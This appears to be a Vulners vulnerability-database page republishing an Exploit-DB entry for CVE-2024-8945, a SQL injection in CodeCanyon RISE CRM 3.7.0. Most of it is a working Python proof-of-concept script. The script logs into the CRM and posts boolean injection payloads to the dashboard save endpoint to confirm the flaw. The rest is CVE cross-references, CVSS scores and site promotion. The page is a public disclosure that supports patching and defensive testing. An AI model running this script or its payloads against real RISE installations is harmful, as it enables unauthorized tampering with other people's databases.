Lucene search
K

CodeCanyon RISE CRM 3.7.0 - SQL Injection

🗓️ 28 Mar 2025 00:00:00Reported by Jobyer From BytiumType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 274 Views

SQL Injection vulnerability in RISE CRM 3.7.0, patched in 3.7.1, exploit provided with proof of concept.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2024-8945
17 Sep 202420:37
circl
CNNVD
CodeCanyon RISE Ultimate Project Manager SQL注入漏洞
17 Sep 202400:00
cnnvd
CVE
CVE-2024-8945
17 Sep 202418:00
cve
Cvelist
CVE-2024-8945 CodeCanyon RISE Ultimate Project Manager save sql injection
17 Sep 202418:00
cvelist
EUVD
EUVD-2024-49502
3 Oct 202520:07
euvd
NVD
CVE-2024-8945
17 Sep 202418:15
nvd
Packet Storm
CodeCanyon Rise CRM 3.7.0 SQL Injection
31 Mar 202500:00
packetstorm
RedhatCVE
CVE-2024-8945
23 May 202506:46
redhatcve
Vulnrichment
CVE-2024-8945 CodeCanyon RISE Ultimate Project Manager save sql injection
17 Sep 202418:00
vulnrichment
# Exploit Title: CodeCanyon RISE CRM 3.7.0 - SQL Injection
# Google Dork: N/A
# Date: September 19, 2024
# Exploit Author: Jobyer Ahmed
# Author Homepage: https://bytium.com
# Vulnerable Version: 3.7
# Patched Version: 3.7.1
# Tested on: Ubuntu 24.04, Debian Testing
##########################################
# CVE: CVE-2024-8945
############Instruction#######################
# 1. Login to Ultimate Project Manager 3.7
# 2. Add a New Dashboard
# 3. Launch the PoC Script
#
# Usage: python3 script.py <base_url> <email> <password>
###########################################


import requests
import sys
from termcolor import colored

def login_and_capture_session(base_url, email, password):
    login_url = f"{base_url}/index.php/signin/authenticate"
    login_data = {"email": email, "password": password, "redirect": ""}
    login_headers = {"User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded"}
    session = requests.Session()
    response = session.post(login_url, data=login_data, headers=login_headers, verify=False)
    if response.status_code == 200 and "dashboard" in response.url:
        print(colored("[*] Logged in successfully.", "green"))
        return session
    else:
        print(colored("[!] Login failed.", "red"))
        return None

def send_payload(session, target_url, payload):
    data = {
        "id": payload,
        "data": "false",
        "title": "PoC Test",
        "color": "#ff0000"
    }
    response = session.post(target_url, headers=session.headers, data=data, verify=False)
    return response

def verify_vulnerability(session, target_url):
    failed_payload = "-1 OR 1=2-- -"
    failed_response = send_payload(session, target_url, failed_payload)
    
    print(colored(f"\nFailed SQL Injection (False Condition) payload: {failed_payload}", "yellow"))
    print(colored(f"{failed_response.text[:200]}", "cyan"))  
    
    successful_payload = "-1 OR 1=1-- -"
    successful_response = send_payload(session, target_url, successful_payload)
    
    if successful_response.status_code == 200 and "The record has been saved." in successful_response.text:
        print(colored(f"[*] Vulnerability confirmed via SQL injection! Payload used: {successful_payload}", "green"))
        print(colored(f"[*] Successful SQL Injection Response:\n{successful_response.text[:200]}", "cyan"))
    
        print(colored("\nStatus: Vulnerable! Upgrade to patched version!", "red"))
    else:
        print(colored("\nNot vulnerable!","red"))

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Usage: python3 script.py <base_url> <email> <password>")
        sys.exit(1)

    base_url, email, password = sys.argv[1], sys.argv[2], sys.argv[3]
    session = login_and_capture_session(base_url, email, password)
    if not session:
        sys.exit(1)

    session.headers.update({"User-Agent": "Mozilla/5.0", "Accept": "application/json", "X-Requested-With": "XMLHttpRequest"})
    target_url = f"{base_url}/index.php/dashboard/save"

    verify_vulnerability(session, target_url)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Mar 2025 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 3.15.5 - 8.8
CVSS 45.3
CVSS 26.5
CVSS 35.5
EPSS0.01237
SSVC
274